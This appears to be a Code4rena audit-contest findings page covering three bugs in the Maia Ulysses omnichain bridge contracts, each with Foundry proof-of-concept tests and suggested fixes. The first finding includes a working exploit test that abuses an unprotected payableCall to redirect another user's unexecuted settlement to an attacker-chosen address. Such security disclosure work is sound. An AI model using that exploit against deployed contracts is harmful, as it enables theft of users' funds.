Platform: Code4rena
Start Date: 22/09/2023
Pot Size: $100,000 USDC
Total HM: 15
Participants: 175
Period: 14 days
Judge: alcueca
Total Solo HM: 4
Id: 287
League: ETH
Rank: 12/175
Findings: 3
Award: $1,541.54
π Selected for report: 1
π Solo Findings: 0
π Selected for report: 0xTheC0der
Also found by: 0x180db, 0xDING99YA, 0xRstStn, 0xTiwa, 0xWaitress, 0xblackskull, 0xfuje, 3docSec, Aamir, Black_Box_DD, HChang26, Hama, Inspecktor, John_Femi, Jorgect, Kek, KingNFT, Kow, Limbooo, MIQUINHO, MrPotatoMagic, NoTechBG, Noro, Pessimistic, QiuhaoLi, SovaSlava, SpicyMeatball, T1MOH, TangYuanShen, Vagner, Viktor_Cortess, Yanchuan, _eperezok, alexweb3, alexxander, ast3ros, ayden, bin2chen, blutorque, btk, ciphermarco, ether_sky, gumgumzum, gztttt, hals, imare, its_basu, joaovwfreire, josephdara, klau5, kodyvim, ladboy233, marqymarq10, mert_eren, minhtrng, n1punp, nobody2018, oada, orion, peakbolt, peritoflores, perseverancesuccess, pfapostol, rvierdiiev, stuxy, tank, unsafesol, ustas, windhustler, zambody, zzzitron
0.1127 USDC - $0.11
https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/VirtualAccount.sol#L85 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgent.sol#L247-L251
Some settlements remain unexecuted in the root environment for various reasons. Consequently, users have the opportunity to retry their settlements. In the role of a malicious user, I can identify these unexecuted settlements and employ the payableCall
function in the user's VirtualAccount
to execute those payments on their behalf. Consequently, I can gain access to other people's funds.
Upon discovering an unexecuted settlement along with its nonce, I can access the complete information regarding that settlement. Subsequently, I can invoke the payableCall
function of the user's VirtualAccount
to execute the settlement.
PayableCall[] memory calls = new PayableCall[](1); calls[0] = PayableCall({ target: address(multicallBridgeAgent), callData: abi.encodeWithSignature( "retrySettlement(uint32,address,bytes,(uint256,uint256),bool)", settlementNonce, test, // We can assign the recipient address randomly. "", GasParams(0.5 ether, 0.5 ether), true ), value: 1 ether });
The following function can be called by anyone.
IVirtualAccount(userVirtualAccount).payableCall{value: 1 ether}(calls);
Add the following test to test/ulysses-omnichain/RootTest.t.sol
and run the test. It will demonstrate that a random test
user can get funds belonging to other users.
function testRetrySettlementOfOthers() public { // Set up testAddLocalTokenArbitrum(); // Prepare data bytes memory packedData; { Multicall2.Call[] memory calls = new Multicall2.Call[](1); // Mock Omnichain dApp call calls[0] = Multicall2.Call({ target: newAvaxAssetGlobalAddress, callData: abi.encodeWithSelector( bytes4(0xa9059cbb), mockApp, 0 ether ) }); // Output Params OutputParams memory outputParams = OutputParams( address(this), newAvaxAssetGlobalAddress, 150 ether, 0 ); // RLP Encode Calldata Call with no gas to bridge out and we top up. bytes memory data = abi.encode(calls, outputParams, avaxChainId); // Pack FuncId packedData = abi.encodePacked(bytes1(0x02), data); } address _user = address(this); // Get some gas. hevm.deal(_user, 1 ether); // Assure there is enough balance for mock action hevm.prank(address(rootPort)); ERC20hTokenRoot(newAvaxAssetGlobalAddress).mint( address(rootPort), 150 ether, rootChainId ); hevm.prank(address(avaxPort)); ERC20hTokenBranch(avaxMockAssethToken).mint(_user, 50 ether); // Mint Underlying Token. avaxMockAssetToken.mint(_user, 100 ether); // Prepare deposit info DepositInput memory depositInput = DepositInput({ hToken: address(avaxMockAssethToken), token: address(avaxMockAssetToken), amount: 150 ether, deposit: 100 ether }); //Set MockEndpoint _fallback mode ON MockEndpoint(lzEndpointAddress).toggleFallback(1); //GasParams GasParams memory gasParams = GasParams(0.5 ether, 0.5 ether); // Call Deposit function avaxMockAssetToken.approve(address(avaxPort), 100 ether); ERC20hTokenRoot(avaxMockAssethToken).approve( address(avaxPort), 50 ether ); avaxMulticallBridgeAgent.callOutSignedAndBridge{value: 1 ether}( payable(address(this)), packedData, depositInput, gasParams, false ); //Set MockEndpoint _fallback mode OFF MockEndpoint(lzEndpointAddress).toggleFallback(0); uint32 settlementNonce = multicallBridgeAgent.settlementNonce() - 1; Settlement memory settlement = multicallBridgeAgent.getSettlementEntry( settlementNonce ); require( settlement.status == STATUS_SUCCESS, "Settlement status should be success." ); /** Currently, there is an unexecuted Settlement of '_user' with a value of '150 ether' in RootPort. And I will execute this agreement on behalf of '_user' and send the assets to another user 'test'. */ address test = address(0x5eDbd653a26cF64D4332133154954981F92C3f93); address testUserVirtualAccount = address( rootPort.fetchVirtualAccount(test) ); PayableCall[] memory testCalls = new PayableCall[](0); // anyone can call this function (user -> test's virtualAccount) IVirtualAccount(testUserVirtualAccount).payableCall{value: 0 ether}( testCalls ); require( MockERC20(avaxMockAssethToken).balanceOf(test) == 0, "test user has no assets" ); // Get some gas. hevm.deal(_user, 1 ether); address userVirtualAccount = address( rootPort.fetchVirtualAccount(address(this)) ); PayableCall[] memory calls = new PayableCall[](1); calls[0] = PayableCall({ target: address(multicallBridgeAgent), callData: abi.encodeWithSignature( "retrySettlement(uint32,address,bytes,(uint256,uint256),bool)", settlementNonce, test, // change the recepient address to 'test' "", GasParams(0.5 ether, 0.5 ether), true ), value: 1 ether }); // anyone can call this function IVirtualAccount(userVirtualAccount).payableCall{value: 1 ether}(calls); require( MockERC20(avaxMockAssethToken).balanceOf(test) == 150000000000000000000, "test user received other's assets" ); }
As evident, anyone can invoke another person's payableCall
function.
Replace
function payableCall(PayableCall[] calldata calls) public payable returns (bytes[] memory returnData)
with
function payableCall(PayableCall[] calldata calls) public payable requiresApprovedCaller returns (bytes[] memory returnData)
.
Access Control
#0 - c4-pre-sort
2023-10-08T14:07:06Z
0xA5DF marked the issue as duplicate of #888
#1 - c4-pre-sort
2023-10-08T14:38:54Z
0xA5DF marked the issue as sufficient quality report
#2 - c4-judge
2023-10-26T11:29:47Z
alcueca marked the issue as satisfactory
π Selected for report: ether_sky
Also found by: jasonxiale, nobody2018
1515.7501 USDC - $1,515.75
https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BaseBranchRouter.sol#L95-L100 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BaseBranchRouter.sol#L167-L168 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BranchBridgeAgent.sol#L224 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BranchBridgeAgent.sol#L824 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/ArbitrumBranchPort.sol#L134
All branches have one core router and several subsidiary branches. The core branches handle system calls, and users can create deposits using subsidiary branches. The function utilized for creating deposits is the callOutAndBridge
function. However, in the Arbitrum
branch, this function is not available for use. This restriction has system-wide implications because the Arbitrum branch should function similarly to other local branches.
When a user attempts to make a deposit in other branches, the local hTokens
are transferred from the user to the local branch port
and subsequently burned.
However, in Arbitrum
, there is no differentiation between local
and global hTokens
. Consequently, they are sent directly to the root port
.
When a user invokes the callOutAndBridge
function in a branch, it involves the transfer of hTokens
and underlying tokens
from the user
to the router
. Additionally, the router
approves the local port
to access and utilize these tokens.
https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BaseBranchRouter.sol#L95
_transferAndApproveToken(_dParams.hToken, _dParams.token, _dParams.amount, _dParams.deposit);
_hToken.safeTransferFrom(msg.sender, address(this), _amount - _deposit); ERC20(_hToken).approve(_localPortAddress, _amount - _deposit); _token.safeTransferFrom(msg.sender, address(this), _deposit); ERC20(_token).approve(_localPortAddress, _deposit);
Then we call the 'callOutAndBridge' function within the bridge agent
. Within this function, a deposit is created.
https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BranchBridgeAgent.sol#L224
_createDeposit(_depositNonce, _refundee, _dParams.hToken, _dParams.token, _dParams.amount, _dParams.deposit);
IPort(localPortAddress).bridgeOut(msg.sender, _hToken, _token, _amount, _deposit);
We've now reached the _bridgeOut
function in ArbitrumBranchPort
.
https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/ArbitrumBranchPort.sol#L134
IRootPort(rootPortAddress).bridgeToRootFromLocalBranch(_depositor, _localAddress, _amount - _deposit);
Here, the _depositor
is the router, and ArbitrumBranchPort
is authorized to access these tokens, but not RootPort
.
https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootPort.sol#L301
_hToken.safeTransferFrom(_from, address(this), _amount);
Consequently, we are unable to bridge these tokens to the RootPort
from _depositor
.
Add test below to test/ulysses-omnichain/ArbitrumBranchTest.t.sol
and run test.
You could see that the test will be failed.
function testCallOutAndBridge() public { testAddLocalTokenArbitrum(); address _user = address(this); arbitrumNativeToken.mint(_user, 150 ether); // Approve Tokens arbitrumNativeToken.approve(address(localPortAddress), 50 ether); // Call deposit to port arbitrumMulticallBridgeAgent.depositToPort( address(arbitrumNativeToken), 50 ether ); require( MockERC20(arbitrumNativeToken).balanceOf(_user) == 100 ether, "_user has 100 underlying tokens" ); require( MockERC20(newArbitrumAssetGlobalAddress).balanceOf(_user) == 50 ether, "_user has 50 global(local) tokens" ); arbitrumNativeToken.approve( address(arbitrumMulticallRouter), 100 ether ); ERC20hTokenRoot(newArbitrumAssetGlobalAddress).approve( address(arbitrumMulticallRouter), 50 ether ); DepositInput memory depositInput = DepositInput({ hToken: address(newArbitrumAssetGlobalAddress), token: address(arbitrumNativeToken), amount: 150 ether, deposit: 100 ether }); GasParams memory gasParams = GasParams(0.5 ether, 0.5 ether); // Get some gas. hevm.deal(address(this), 1 ether); // test will be failed arbitrumMulticallRouter.callOutAndBridge{value: 1 ether}( "", depositInput, gasParams ); }
Change this
IRootPort(rootPortAddress).bridgeToRootFromLocalBranch(_depositor, _localAddress, _amount - _deposit);
with
_localAddress.safeTransferFrom(_depositor, address(this), _amount - _deposit); ERC20(_localAddress).approve(rootPortAddress, _amount - _deposit); IRootPort(rootPortAddress).bridgeToRootFromLocalBranch(address(this), _localAddress, _amount - _deposit);
You can observe that the test will pass successfully. It's important to note that when users attempt to use the callOutAndBridge
function within the bridge agent
, they allow the local port
to access their funds, just as in other branches.
Token-Transfer
#0 - c4-pre-sort
2023-10-13T09:45:07Z
0xA5DF marked the issue as sufficient quality report
#1 - c4-pre-sort
2023-10-13T09:45:12Z
0xA5DF marked the issue as primary issue
#2 - 0xA5DF
2023-10-13T09:45:28Z
Leaving open for sponsor to comment
#3 - c4-sponsor
2023-10-16T17:41:36Z
0xLightt (sponsor) confirmed
#4 - c4-sponsor
2023-10-17T11:06:09Z
0xBugsy marked the issue as disagree with severity
#5 - c4-judge
2023-10-25T09:36:47Z
alcueca changed the severity to 2 (Med Risk)
#6 - alcueca
2023-10-25T09:37:44Z
No funds at risk. Medium at best, since there is a workaround (since this is also a router contract, users can always interact directly with the bridgeAgent and approve funds to be spent by the correct Port themselves (approve rootPort instead of ArbitrumBranchPort)
#7 - c4-judge
2023-10-25T09:37:51Z
alcueca marked the issue as satisfactory
#8 - c4-judge
2023-10-27T10:21:04Z
alcueca marked the issue as selected for report
#9 - alcueca
2023-10-29T05:32:02Z
From the sponsor:
we believe it is accurate. we need to increase the allowance/approve to the root port in arbitrum base branch routers.
#10 - 0xBugsy
2023-11-12T17:50:23Z
π Selected for report: MrPotatoMagic
Also found by: 0xAadi, 0xDING99YA, 0xDemon, 0xRstStn, 0xSmartContract, 0xStriker, 0xWaitress, 0xbrett8571, 0xfuje, 0xsagetony, 0xsurena, 33BYTEZZZ, 3docSec, 7ashraf, ABA, ABAIKUNANBAEV, Aamir, Audinarey, Bauchibred, Black_Box_DD, Daniel526, DanielArmstrong, DanielTan_MetaTrust, Dinesh11G, Eurovickk, Franklin, Inspecktor, John, Jorgect, Joshuajee, K42, Kek, Koolex, LokiThe5th, MIQUINHO, Myd, NoTechBG, QiuhaoLi, SanketKogekar, Sathish9098, Sentry, Soul22, SovaSlava, Stormreckson, Tendency, Topmark, Udsen, V1235816, Viktor_Cortess, Viraz, Yanchuan, ZdravkoHr, Zims, albahaca, albertwh1te, alexweb3, alexxander, ast3ros, audityourcontracts, bareli, bin2chen, bronze_pickaxe, c0pp3rscr3w3r, cartlex_, castle_chain, chaduke, debo, ether_sky, gumgumzum, imare, its_basu, jaraxxus, jasonxiale, josephdara, kodyvim, ladboy233, lanrebayode77, lsaudit, mert_eren, minhtrng, n1punp, nadin, niroh, nmirchev8, orion, peakbolt, perseverancesuccess, pfapostol, ptsanev, rvierdiiev, saneryee, shaflow2, te_aut, terrancrypt, twcctop, unsafesol, ustas, versiyonbir, windhustler, yongskiws, zhaojie, ziyou-
25.6785 USDC - $25.68
https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgent.sol#L582-L584 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgent.sol#L709
When a user has some unexecuted deposits and attempts to retrieve them, two scenarios may arise.
In both cases, the user has the option to attempt the deposit process again. However, user loses the ability to retry the deposit further. Moreover, if he makes an unsuccessful retry attempt, he also forfeit the option to redeem the deposit. To redeem the deposit, he must initiate the retrieve process again. This situation can lead to the loss of funds spent on gas and disrupt the operation of user applications that rely on successful cross-chain function execution.
When a user attempts to retrieve a deposit, the executionState
is changed to STATUS_RETRIEVE
.
if (executionState[_srcChainId][nonce] == STATUS_READY) { executionState[_srcChainId][nonce] = STATUS_RETRIEVE; }
Consequently, when the user tries to retry the deposit, and the state is not STATUS_READY
, the transaction will be reverted.
if (executionState[_srcChainId][nonce] != STATUS_READY) { revert AlreadyExecutedTransaction(); }
Once the STATUS_RETRIEVE
state is set, there is no method to revert it or change it back.
Add test below to test/ulysses-omnichain/RootTest.t.sol
and run test.
function testRetryDepositAfterRetrieve() public { // Set up testAddLocalTokenArbitrum(); address _user = address(this); // Assure there is enough balance for mock action hevm.prank(address(rootPort)); ERC20hTokenRoot(newAvaxAssetGlobalAddress).mint( address(rootPort), 150 ether, rootChainId ); hevm.prank(address(avaxPort)); ERC20hTokenBranch(avaxMockAssethToken).mint(_user, 50 ether); // Mint Underlying Token. avaxMockAssetToken.mint(_user, 100 ether); // Prepare deposit info DepositInput memory depositInput = DepositInput({ hToken: address(avaxMockAssethToken), token: address(avaxMockAssetToken), amount: 150 ether, deposit: 100 ether }); // before deposit, _user has 50 ether hTokens. require( MockERC20(avaxMockAssethToken).balanceOf(_user) == 50 ether, "_user has 50 ether hToken" ); // Get some gas. hevm.deal(_user, 1 ether); //GasParams GasParams memory gasParams = GasParams(0.5 ether, 0.5 ether); // Call Deposit function avaxMockAssetToken.approve(address(avaxPort), 100 ether); ERC20hTokenRoot(avaxMockAssethToken).approve( address(avaxPort), 50 ether ); //Set MockEndpoint _fallback mode OFF MockEndpoint(lzEndpointAddress).toggleFallback(0); avaxMulticallBridgeAgent.callOutSignedAndBridge{value: 1 ether}( payable(address(this)), "", depositInput, gasParams, false ); // after deposit, _user has no hTokens. require( MockERC20(avaxMockAssethToken).balanceOf(_user) == 0, "_user has no hTokens" ); uint32 depositNonce = avaxMulticallBridgeAgent.depositNonce() - 1; uint16 localChainId = avaxMulticallBridgeAgent.localChainId(); // Deposit was not executed on root. 0 = STATUS_READY require( multicallBridgeAgent.executionState(localChainId, depositNonce) == 0, "Deposit was not executed on root." ); address userVirtualAccount = address( rootPort.fetchVirtualAccount(_user) ); // users do not have a global hToken, so they must be able to retry or redeem tokens at a branch. require( MockERC20(newAvaxAssetGlobalAddress).balanceOf( userVirtualAccount ) == 0, "users do not have a global hToken, so they must be able to retry or redeem tokens at a branch." ); //Set MockEndpoint _fallback mode ON MockEndpoint(lzEndpointAddress).toggleFallback(1); // Get some gas. hevm.deal(_user, 1 ether); avaxMulticallBridgeAgent.retrieveDeposit{value: 1 ether}( depositNonce, gasParams ); // Deposit memory deposit = avaxMulticallBridgeAgent.getDepositEntry( // depositNonce // ); // Execution State is STATUS_RETRIEVE on root. 2 = STATUS_RETRIEVE require( multicallBridgeAgent.executionState(localChainId, depositNonce) == 2, "Execution State is STATUS_RETRIEVE on root." ); // _user attempts to deposit again //Set MockEndpoint _fallback mode ON MockEndpoint(lzEndpointAddress).toggleFallback(1); // Get some gas. hevm.deal(_user, 1 ether); avaxMulticallBridgeAgent.retryDeposit{value: 1 ether}( true, depositNonce, "", gasParams, false ); // Execution State is still STATUS_RETRIEVE on root i.e. we can't retry deposit on root require( multicallBridgeAgent.executionState(localChainId, depositNonce) == 2, "Execution State is STATUS_RETRIEVE on root." ); // Get some gas. hevm.deal(_user, 1 ether); // Users are unable to redeem their deposits as well. hevm.expectRevert( abi.encodeWithSignature("DepositRedeemUnavailable()") ); avaxMulticallBridgeAgent.redeemDeposit(depositNonce); }
Replace this
if (executionState[_srcChainId][nonce] != STATUS_READY) { revert AlreadyExecutedTransaction(); }
with
if (executionState[_srcChainId][nonce] == STATUS_DONE) { revert AlreadyExecutedTransaction(); }
in RootBridgeAgent
.
Once a user successfully redeems a deposit on a branch, the deposit information is removed, and further retry attempts are not allowed. Therefore, when a retry request is received, it implies that valid deposit information exists on a branch, allowing the safe processing of deposits on the root, as long as the state is not STATUS_DONE
.
If you concur with this perspective, there are additional areas where this modification can be implemented. https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BranchBridgeAgent.sol#L624 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BranchBridgeAgent.sol#L646 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgent.sol#L495 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgent.sol#L518 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgent.sol#L622
Invalid Validation
#0 - c4-pre-sort
2023-10-13T14:44:30Z
0xA5DF marked the issue as low quality report
#1 - 0xA5DF
2023-10-13T14:44:40Z
Seems like a reasonable design choice
#2 - alcueca
2023-10-23T05:47:44Z
Seems valid QA to me.
#3 - c4-judge
2023-10-23T05:47:51Z
alcueca changed the severity to QA (Quality Assurance)
#4 - c4-judge
2023-10-23T05:47:56Z
alcueca marked the issue as grade-a